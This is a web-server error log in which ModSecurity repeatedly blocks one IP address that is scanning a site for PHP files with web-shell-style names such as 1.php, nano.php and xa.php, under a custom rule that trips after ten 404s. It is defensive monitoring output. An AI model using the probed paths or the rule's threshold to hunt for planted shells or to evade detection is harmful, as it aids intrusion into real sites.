[Thu Apr 09 18:33:21.035216 2026] [:error] [pid 24927:tid 24939] [client 20.215.65.153:64009] [client 20.215.65.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/1.php"] [unique_id "adeAcTXObuzEuw8mNJvz1wAAAQk"]
[Thu Apr 09 18:33:22.012157 2026] [:error] [pid 24517:tid 24585] [client 20.215.65.153:65189] [client 20.215.65.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/1.php"] [unique_id "adeAcnboYEn2ZFM_PS9xawAAAIs"]
[Thu Apr 09 18:33:22.584842 2026] [:error] [pid 24517:tid 24593] [client 20.215.65.153:65183] [client 20.215.65.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/1.php"] [unique_id "adeAcnboYEn2ZFM_PS9xbAAAAJM"]
[Thu Apr 09 18:33:23.245100 2026] [:error] [pid 24515:tid 24527] [client 20.215.65.153:63260] [client 20.215.65.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/2.php"] [unique_id "adeAc61OMnvM2fMnB1N78QAAAAg"]
[Thu Apr 09 18:33:23.797811 2026] [:error] [pid 18477:tid 18500] [client 20.215.65.153:63983] [client 20.215.65.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/2.php"] [unique_id "adeAc8De826HlFeoLPJ55QAAAVU"]
[Thu Apr 09 18:33:24.460683 2026] [:error] [pid 24927:tid 24941] [client 20.215.65.153:63962] [client 20.215.65.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/2.php"] [unique_id "adeAdDXObuzEuw8mNJvz2wAAAQs"]
[Thu Apr 09 18:33:25.035956 2026] [:error] [pid 24927:tid 24930] [client 20.215.65.153:64025] [client 20.215.65.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/2.php"] [unique_id "adeAdTXObuzEuw8mNJvz3QAAAQA"]
[Thu Apr 09 18:33:25.554330 2026] [:error] [pid 24927:tid 24944] [client 20.215.65.153:64591] [client 20.215.65.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/3.php"] [unique_id "adeAdTXObuzEuw8mNJvz3wAAAQ4"]
[Thu Apr 09 18:33:26.110424 2026] [:error] [pid 24927:tid 24933] [client 20.215.65.153:64658] [client 20.215.65.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/3.php"] [unique_id "adeAdjXObuzEuw8mNJvz4AAAAQM"]
[Thu Apr 09 18:33:26.629200 2026] [:error] [pid 20837:tid 20862] [client 20.215.65.153:63980] [client 20.215.65.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/3.php"] [unique_id "adeAdvSL71FHZkjrGzPLDwAAAZc"]
[Thu Apr 09 18:33:27.165839 2026] [:error] [pid 24515:tid 24519] [client 20.215.65.153:64008] [client 20.215.65.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/3.php"] [unique_id "adeAd61OMnvM2fMnB1N79QAAAAA"]
[Thu Apr 09 18:33:27.760251 2026] [:error] [pid 24624:tid 24641] [client 20.215.65.153:65196] [client 20.215.65.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/4.php"] [unique_id "adeAd-4Jn-WvK1ZBTvi4DwAAAM8"]
[Thu Apr 09 18:33:28.284940 2026] [:error] [pid 24516:tid 24570] [client 20.215.65.153:65099] [client 20.215.65.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/4.php"] [unique_id "adeAeNhW7vSS-UkeWCUfFAAAAFc"]
[Thu Apr 09 18:33:28.807081 2026] [:error] [pid 18477:tid 18501] [client 20.215.65.153:64608] [client 20.215.65.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/4.php"] [unique_id "adeAeMDe826HlFeoLPJ55wAAAVY"]
[Thu Apr 09 18:33:29.318779 2026] [:error] [pid 24624:tid 24634] [client 20.215.65.153:64613] [client 20.215.65.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/4.php"] [unique_id "adeAee4Jn-WvK1ZBTvi4EAAAAMg"]
[Thu Apr 09 18:33:29.871788 2026] [:error] [pid 24624:tid 24646] [client 20.215.65.153:63936] [client 20.215.65.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/5.php"] [unique_id "adeAee4Jn-WvK1ZBTvi4EQAAANQ"]
[Thu Apr 09 18:33:30.397459 2026] [:error] [pid 24624:tid 24636] [client 20.215.65.153:65156] [client 20.215.65.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/5.php"] [unique_id "adeAeu4Jn-WvK1ZBTvi4FQAAAMo"]
[Thu Apr 09 18:33:30.910530 2026] [:error] [pid 20837:tid 20854] [client 20.215.65.153:62696] [client 20.215.65.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/5.php"] [unique_id "adeAevSL71FHZkjrGzPLEQAAAY8"]
[Thu Apr 09 18:33:31.666822 2026] [:error] [pid 24927:tid 24946] [client 20.215.65.153:64688] [client 20.215.65.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/5.php"] [unique_id "adeAezXObuzEuw8mNJvz5AAAARA"]
[Thu Apr 09 18:33:32.209861 2026] [:error] [pid 24927:tid 24947] [client 20.215.65.153:64639] [client 20.215.65.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/6.php"] [unique_id "adeAfDXObuzEuw8mNJvz5gAAARE"]
[Thu Apr 09 18:33:32.895742 2026] [:error] [pid 18477:tid 18480] [client 20.215.65.153:64020] [client 20.215.65.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/6.php"] [unique_id "adeAfMDe826HlFeoLPJ56wAAAUE"]
[Thu Apr 09 18:33:33.453150 2026] [:error] [pid 18477:tid 18490] [client 20.215.65.153:64599] [client 20.215.65.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/6.php"] [unique_id "adeAfcDe826HlFeoLPJ57AAAAUs"]
[Thu Apr 09 18:33:34.041497 2026] [:error] [pid 24927:tid 24937] [client 20.215.65.153:64015] [client 20.215.65.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/6.php"] [unique_id "adeAfjXObuzEuw8mNJvz6AAAAQc"]
[Thu Apr 09 18:33:34.903151 2026] [:error] [pid 24927:tid 24935] [client 20.215.65.153:64606] [client 20.215.65.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/9.php"] [unique_id "adeAfjXObuzEuw8mNJvz6wAAAQU"]
[Thu Apr 09 18:33:35.453512 2026] [:error] [pid 24927:tid 24951] [client 20.215.65.153:63995] [client 20.215.65.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/9.php"] [unique_id "adeAfzXObuzEuw8mNJvz7QAAARU"]
[Thu Apr 09 18:33:36.240510 2026] [:error] [pid 24624:tid 24627] [client 20.215.65.153:64626] [client 20.215.65.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/9.php"] [unique_id "adeAgO4Jn-WvK1ZBTvi4GQAAAME"]
[Thu Apr 09 18:33:37.088029 2026] [:error] [pid 24927:tid 24930] [client 20.215.65.153:64010] [client 20.215.65.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/9.php"] [unique_id "adeAgTXObuzEuw8mNJvz7gAAAQA"]
[Thu Apr 09 18:33:37.676600 2026] [:error] [pid 24927:tid 24954] [client 20.215.65.153:65146] [client 20.215.65.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/10.php"] [unique_id "adeAgTXObuzEuw8mNJvz9gAAARg"]
[Thu Apr 09 18:33:38.235669 2026] [:error] [pid 24516:tid 24567] [client 20.215.65.153:65211] [client 20.215.65.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/10.php"] [unique_id "adeAgthW7vSS-UkeWCUfGgAAAFQ"]
[Thu Apr 09 18:33:38.849114 2026] [:error] [pid 24927:tid 24946] [client 20.215.65.153:64698] [client 20.215.65.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/10.php"] [unique_id "adeAgjXObuzEuw8mNJvz9wAAARA"]
[Thu Apr 09 18:33:39.498944 2026] [:error] [pid 20837:tid 20842] [client 20.215.65.153:62622] [client 20.215.65.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/10.php"] [unique_id "adeAg_SL71FHZkjrGzPLGAAAAYM"]
[Thu Apr 09 18:33:40.149755 2026] [:error] [pid 24927:tid 24935] [client 20.215.65.153:63958] [client 20.215.65.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/.mopj.php"] [unique_id "adeAhDXObuzEuw8mNJvz-gAAAQU"]
[Thu Apr 09 18:33:40.704747 2026] [:error] [pid 24927:tid 24932] [client 20.215.65.153:63992] [client 20.215.65.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/.mopj.php"] [unique_id "adeAhDXObuzEuw8mNJvz_AAAAQI"]
[Thu Apr 09 18:33:41.254498 2026] [:error] [pid 20837:tid 20849] [client 20.215.65.153:60375] [client 20.215.65.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/.mopj.php"] [unique_id "adeAhfSL71FHZkjrGzPLGwAAAYo"]
[Thu Apr 09 18:33:41.822204 2026] [:error] [pid 24927:tid 24951] [client 20.215.65.153:65179] [client 20.215.65.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/.mopj.php"] [unique_id "adeAhTXObuzEuw8mNJvz_QAAARU"]
[Thu Apr 09 18:33:42.342695 2026] [:error] [pid 18477:tid 18498] [client 20.215.65.153:64011] [client 20.215.65.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/100.php"] [unique_id "adeAhsDe826HlFeoLPJ5-AAAAVM"]
[Thu Apr 09 18:33:42.943472 2026] [:error] [pid 24516:tid 24550] [client 20.215.65.153:65100] [client 20.215.65.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/100.php"] [unique_id "adeAhthW7vSS-UkeWCUfHQAAAEM"]
[Thu Apr 09 18:33:43.596493 2026] [:error] [pid 20837:tid 20841] [client 20.215.65.153:64677] [client 20.215.65.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/100.php"] [unique_id "adeAh_SL71FHZkjrGzPLHQAAAYI"]
[Thu Apr 09 18:33:44.227422 2026] [:error] [pid 24927:tid 24931] [client 20.215.65.153:65201] [client 20.215.65.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/100.php"] [unique_id "adeAiDXObuzEuw8mNJvz_wAAAQE"]
[Thu Apr 09 18:33:44.837350 2026] [:error] [pid 24517:tid 24579] [client 20.215.65.153:63985] [client 20.215.65.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/nano.php"] [unique_id "adeAiHboYEn2ZFM_PS9xeAAAAIU"]
[Thu Apr 09 18:33:52.399748 2026] [:error] [pid 20837:tid 20839] [client 20.215.65.153:65202] [client 20.215.65.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/fine.php"] [unique_id "adeAkPSL71FHZkjrGzPLLgAAAYA"]
[Thu Apr 09 18:33:52.915059 2026] [:error] [pid 24927:tid 24954] [client 20.215.65.153:63955] [client 20.215.65.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/fine.php"] [unique_id "adeAkDXObuzEuw8mNJv0FgAAARg"]
[Thu Apr 09 18:33:53.459893 2026] [:error] [pid 18477:tid 18488] [client 20.215.65.153:64703] [client 20.215.65.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/fine.php"] [unique_id "adeAkcDe826HlFeoLPJ5_gAAAUk"]
[Thu Apr 09 18:33:53.991812 2026] [:error] [pid 24927:tid 24952] [client 20.215.65.153:64048] [client 20.215.65.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/fine.php"] [unique_id "adeAkTXObuzEuw8mNJv0GQAAARY"]
[Thu Apr 09 18:33:54.515372 2026] [:error] [pid 24927:tid 24932] [client 20.215.65.153:64669] [client 20.215.65.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/zample.php"] [unique_id "adeAkjXObuzEuw8mNJv0HQAAAQI"]
[Thu Apr 09 18:33:55.083016 2026] [:error] [pid 24927:tid 24941] [client 20.215.65.153:65168] [client 20.215.65.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/zample.php"] [unique_id "adeAkzXObuzEuw8mNJv0HwAAAQs"]
[Thu Apr 09 18:33:55.620435 2026] [:error] [pid 24927:tid 24945] [client 20.215.65.153:63984] [client 20.215.65.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/zample.php"] [unique_id "adeAkzXObuzEuw8mNJv0IwAAAQ8"]
[Thu Apr 09 18:33:56.174884 2026] [:error] [pid 24927:tid 24948] [client 20.215.65.153:64690] [client 20.215.65.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/zample.php"] [unique_id "adeAlDXObuzEuw8mNJv0KQAAARI"]
[Thu Apr 09 18:33:56.712707 2026] [:error] [pid 18477:tid 18479] [client 20.215.65.153:63939] [client 20.215.65.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/hplfuns.php"] [unique_id "adeAlMDe826HlFeoLPJ5_wAAAUA"]
[Thu Apr 09 18:33:57.229711 2026] [:error] [pid 24927:tid 24947] [client 20.215.65.153:63259] [client 20.215.65.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/hplfuns.php"] [unique_id "adeAlTXObuzEuw8mNJv0KwAAARE"]
[Thu Apr 09 18:33:57.814985 2026] [:error] [pid 24927:tid 24943] [client 20.215.65.153:65104] [client 20.215.65.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/hplfuns.php"] [unique_id "adeAlTXObuzEuw8mNJv0LgAAAQ0"]
[Thu Apr 09 18:33:58.347086 2026] [:error] [pid 24927:tid 24934] [client 20.215.65.153:64673] [client 20.215.65.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/hplfuns.php"] [unique_id "adeAljXObuzEuw8mNJv0MAAAAQQ"]
[Thu Apr 09 18:33:59.562555 2026] [:error] [pid 24927:tid 24953] [client 20.215.65.153:65178] [client 20.215.65.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/xa.php"] [unique_id "adeAlzXObuzEuw8mNJv0MwAAARc"]
[Thu Apr 09 18:34:00.516456 2026] [:error] [pid 18477:tid 18497] [client 20.215.65.153:64601] [client 20.215.65.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/xa.php"] [unique_id "adeAmMDe826HlFeoLPJ6BwAAAVI"]
[Thu Apr 09 18:34:01.103272 2026] [:error] [pid 24927:tid 24954] [client 20.215.65.153:62636] [client 20.215.65.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/xa.php"] [unique_id "adeAmTXObuzEuw8mNJv0NQAAARg"]
[Thu Apr 09 18:34:01.614964 2026] [:error] [pid 24927:tid 24946] [client 20.215.65.153:65134] [client 20.215.65.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/xa.php"] [unique_id "adeAmTXObuzEuw8mNJv0NgAAARA"]
